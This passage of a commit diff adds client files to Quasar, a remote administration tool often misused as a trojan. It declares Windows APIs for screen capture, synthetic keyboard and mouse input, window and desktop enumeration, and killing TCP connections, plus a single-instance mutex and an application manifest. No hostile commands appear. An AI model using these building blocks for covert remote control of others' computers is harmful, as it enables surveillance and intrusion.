|
||||
|
||||
/// <summary>
|
||||
/// Performs a bit-block transfer of the color data corresponding to a
|
||||
/// rectangle of pixels from the specified source device context into
|
||||
/// a destination device context.
|
||||
/// </summary>
|
||||
/// <param name="hdc">Handle to the destination device context.</param>
|
||||
/// <param name="nXDest">The leftmost x-coordinate of the destination rectangle (in pixels).</param>
|
||||
/// <param name="nYDest">The topmost y-coordinate of the destination rectangle (in pixels).</param>
|
||||
/// <param name="nWidth">The width of the source and destination rectangles (in pixels).</param>
|
||||
/// <param name="nHeight">The height of the source and the destination rectangles (in pixels).</param>
|
||||
/// <param name="hdcSrc">Handle to the source device context.</param>
|
||||
/// <param name="nXSrc">The leftmost x-coordinate of the source rectangle (in pixels).</param>
|
||||
/// <param name="nYSrc">The topmost y-coordinate of the source rectangle (in pixels).</param>
|
||||
/// <param name="dwRop">A raster-operation code.</param>
|
||||
/// <returns>
|
||||
/// <c>true</c> if the operation succeedes, <c>false</c> otherwise. To get extended error information, call <see cref="System.Runtime.InteropServices.Marshal.GetLastWin32Error"/>.
|
||||
/// </returns>
|
||||
[DllImport("gdi32.dll", EntryPoint = "BitBlt", SetLastError = true)]
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
internal static extern bool BitBlt([In] IntPtr hdc, int nXDest, int nYDest, int nWidth, int nHeight,
|
||||
[In] IntPtr hdcSrc, int nXSrc, int nYSrc, int dwRop);
|
||||
|
||||
[DllImport("gdi32.dll", CharSet = CharSet.Unicode)]
|
||||
internal static extern IntPtr CreateDC(string lpszDriver, string lpszDevice, string lpszOutput, IntPtr lpInitData);
|
||||
|
||||
[DllImport("gdi32.dll")]
|
||||
internal static extern bool DeleteDC([In] IntPtr hdc);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
internal static extern bool GetLastInputInfo(ref LASTINPUTINFO plii);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
internal static extern bool SetCursorPos(int x, int y);
|
||||
|
||||
[DllImport("user32.dll", SetLastError = false)]
|
||||
internal static extern IntPtr GetMessageExtraInfo();
|
||||
|
||||
/// <summary>
|
||||
/// Synthesizes keystrokes, mouse motions, and button clicks.
|
||||
/// </summary>
|
||||
[DllImport("user32.dll")]
|
||||
internal static extern uint SendInput(uint nInputs,
|
||||
[MarshalAs(UnmanagedType.LPArray), In] INPUT[] pInputs,
|
||||
int cbSize);
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
internal struct INPUT
|
||||
{
|
||||
internal uint type;
|
||||
internal InputUnion u;
|
||||
internal static int Size => Marshal.SizeOf(typeof(INPUT));
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Explicit)]
|
||||
internal struct InputUnion
|
||||
{
|
||||
[FieldOffset(0)]
|
||||
internal MOUSEINPUT mi;
|
||||
[FieldOffset(0)]
|
||||
internal KEYBDINPUT ki;
|
||||
[FieldOffset(0)]
|
||||
internal HARDWAREINPUT hi;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
internal struct MOUSEINPUT
|
||||
{
|
||||
internal int dx;
|
||||
internal int dy;
|
||||
internal int mouseData;
|
||||
internal uint dwFlags;
|
||||
internal uint time;
|
||||
internal IntPtr dwExtraInfo;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
internal struct KEYBDINPUT
|
||||
{
|
||||
internal ushort wVk;
|
||||
internal ushort wScan;
|
||||
internal uint dwFlags;
|
||||
internal uint time;
|
||||
internal IntPtr dwExtraInfo;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
internal struct HARDWAREINPUT
|
||||
{
|
||||
public uint uMsg;
|
||||
public ushort wParamL;
|
||||
public ushort wParamH;
|
||||
}
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
internal static extern bool SystemParametersInfo(
|
||||
uint uAction, uint uParam, ref IntPtr lpvParam,
|
||||
uint flags);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
internal static extern int PostMessage(IntPtr hWnd, int wMsg, IntPtr wParam, IntPtr lParam);
|
||||
|
||||
[DllImport("user32.dll", CharSet = CharSet.Unicode)]
|
||||
internal static extern IntPtr OpenDesktop(
|
||||
string hDesktop, int flags, bool inherit,
|
||||
uint desiredAccess);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
internal static extern bool CloseDesktop(
|
||||
IntPtr hDesktop);
|
||||
|
||||
internal delegate bool EnumDesktopWindowsProc(
|
||||
IntPtr hDesktop, IntPtr lParam);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
internal static extern bool EnumDesktopWindows(
|
||||
IntPtr hDesktop, EnumDesktopWindowsProc callback,
|
||||
IntPtr lParam);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
internal static extern bool IsWindowVisible(
|
||||
IntPtr hWnd);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
internal static extern IntPtr GetForegroundWindow();
|
||||
|
||||
[DllImport("user32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
|
||||
internal static extern int GetWindowText(IntPtr hWnd, StringBuilder lpString, int nMaxCount);
|
||||
|
||||
[DllImport("iphlpapi.dll", SetLastError = true)]
|
||||
internal static extern uint GetExtendedTcpTable(IntPtr pTcpTable, ref int dwOutBufLen, bool sort, int ipVersion,
|
||||
TcpTableClass tblClass, uint reserved = 0);
|
||||
|
||||
[DllImport("iphlpapi.dll")]
|
||||
internal static extern int SetTcpEntry(IntPtr pTcprow);
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
internal struct MibTcprowOwnerPid
|
||||
{
|
||||
public uint state;
|
||||
public uint localAddr;
|
||||
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)] public byte[] localPort;
|
||||
public uint remoteAddr;
|
||||
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)] public byte[] remotePort;
|
||||
public uint owningPid;
|
||||
public IPAddress LocalAddress
|
||||
{
|
||||
get { return new IPAddress(localAddr); }
|
||||
}
|
||||
|
||||
public ushort LocalPort
|
||||
{
|
||||
get { return BitConverter.ToUInt16(new byte[2] { localPort[1], localPort[0] }, 0); }
|
||||
}
|
||||
|
||||
public IPAddress RemoteAddress
|
||||
{
|
||||
get { return new IPAddress(remoteAddr); }
|
||||
}
|
||||
|
||||
public ushort RemotePort
|
||||
{
|
||||
get { return BitConverter.ToUInt16(new byte[2] { remotePort[1], remotePort[0] }, 0); }
|
||||
}
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
internal struct MibTcptableOwnerPid
|
||||
{
|
||||
public uint dwNumEntries;
|
||||
private readonly MibTcprowOwnerPid table;
|
||||
}
|
||||
|
||||
internal enum TcpTableClass
|
||||
{
|
||||
TcpTableBasicListener,
|
||||
TcpTableBasicConnections,
|
||||
TcpTableBasicAll,
|
||||
TcpTableOwnerPidListener,
|
||||
TcpTableOwnerPidConnections,
|
||||
TcpTableOwnerPidAll,
|
||||
TcpTableOwnerModuleListener,
|
||||
TcpTableOwnerModuleConnections,
|
||||
TcpTableOwnerModuleAll
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,62 @@
|
||||
using System;
|
||||
using System.Threading;
|
||||
|
||||
namespace Quasar.Client.Utilities
|
||||
{
|
||||
/// <summary>
|
||||
/// A user-wide mutex that ensures that only one instance runs at a time.
|
||||
/// </summary>
|
||||
public class SingleInstanceMutex : IDisposable
|
||||
{
|
||||
/// <summary>
|
||||
/// The mutex used for process synchronization.
|
||||
/// </summary>
|
||||
private readonly Mutex _appMutex;
|
||||
|
||||
/// <summary>
|
||||
/// Represents if the mutex was created on the system or it already existed.
|
||||
/// </summary>
|
||||
public bool CreatedNew { get; }
|
||||
|
||||
/// <summary>
|
||||
/// Determines if the instance is disposed and should not be used anymore.
|
||||
/// </summary>
|
||||
public bool IsDisposed { get; private set; }
|
||||
|
||||
/// <summary>
|
||||
/// Initializes a new instance of <see cref="SingleInstanceMutex"/> using the given mutex name.
|
||||
/// </summary>
|
||||
/// <param name="name">The name of the mutex.</param>
|
||||
public SingleInstanceMutex(string name)
|
||||
{
|
||||
_appMutex = new Mutex(false, $"Local\\{name}", out var createdNew);
|
||||
CreatedNew = createdNew;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Releases all resources used by this <see cref="SingleInstanceMutex"/>.
|
||||
/// </summary>
|
||||
public void Dispose()
|
||||
{
|
||||
Dispose(true);
|
||||
GC.SuppressFinalize(this);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Releases the mutex object.
|
||||
/// </summary>
|
||||
/// <param name="disposing"><c>True</c> if called from <see cref="Dispose"/>, <c>false</c> if called from the finalizer.</param>
|
||||
protected virtual void Dispose(bool disposing)
|
||||
{
|
||||
if (IsDisposed)
|
||||
return;
|
||||
|
||||
if (disposing)
|
||||
{
|
||||
_appMutex?.Dispose();
|
||||
}
|
||||
|
||||
IsDisposed = true;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,44 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
|
||||
<assemblyIdentity version="1.0.0.0" name="MyApplication.app"/>
|
||||
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">
|
||||
<security>
|
||||
<requestedPrivileges>
|
||||
<requestedExecutionLevel level="asInvoker" uiAccess="false" />
|
||||
</requestedPrivileges>
|
||||
</security>
|
||||
</trustInfo>
|
||||
<compatibility xmlns="urn:schemas-microsoft-com:compatibility.v1">
|
||||
<application>
|
||||
<!-- Windows Vista -->
|
||||
<supportedOS Id="{e2011457-1546-43c5-a5fe-008deee3d3f0}"/>
|
||||
<!-- Windows 7 -->
|
||||
<supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}"/>
|
||||
<!-- Windows 8 -->
|
||||
<supportedOS Id="{4a2f28e3-53b9-4441-ba9c-d69d4a4a6e38}"/>
|
||||
<!-- Windows 8.1 -->
|
||||
<supportedOS Id="{1f676c76-80e1-4239-95bb-83d0f6d0da78}"/>
|
||||
<!-- Windows 10 -->
|
||||
<supportedOS Id="{8e0f7a12-bfb3-4fe8-b9a5-48fd50a15a9a}"/>
|
||||
</application>
|
||||
</compatibility>
|
||||
<application xmlns="urn:schemas-microsoft-com:asm.v3">
|
||||
<windowsSettings>
|
||||
<dpiAware xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">true/pm</dpiAware>
|
||||
<dpiAwareness xmlns="http://schemas.microsoft.com/SMI/2016/WindowsSettings">PerMonitorV2, PerMonitor</dpiAwareness>
|
||||
<longPathAware xmlns="http://schemas.microsoft.com/SMI/2016/WindowsSettings">true</longPathAware>
|
||||
</windowsSettings>
|
||||
</application>
|
||||
<dependency>
|
||||
<dependentAssembly>
|
||||
<assemblyIdentity
|
||||
type="win32"
|
||||
name="Microsoft.Windows.Common-Controls"
|
||||
version="6.0.0.0"
|
||||
processorArchitecture="*"
|
||||
publicKeyToken="6595b64144ccf1df"
|
||||
language="*"
|
||||
/>
|
||||
</dependentAssembly>
|
||||
</dependency>
|
||||
</assembly>
|
||||
Binary file not shown.
|
After Width: | Height: | Size: 4.2 KiB |
Reference in New Issue
Block a user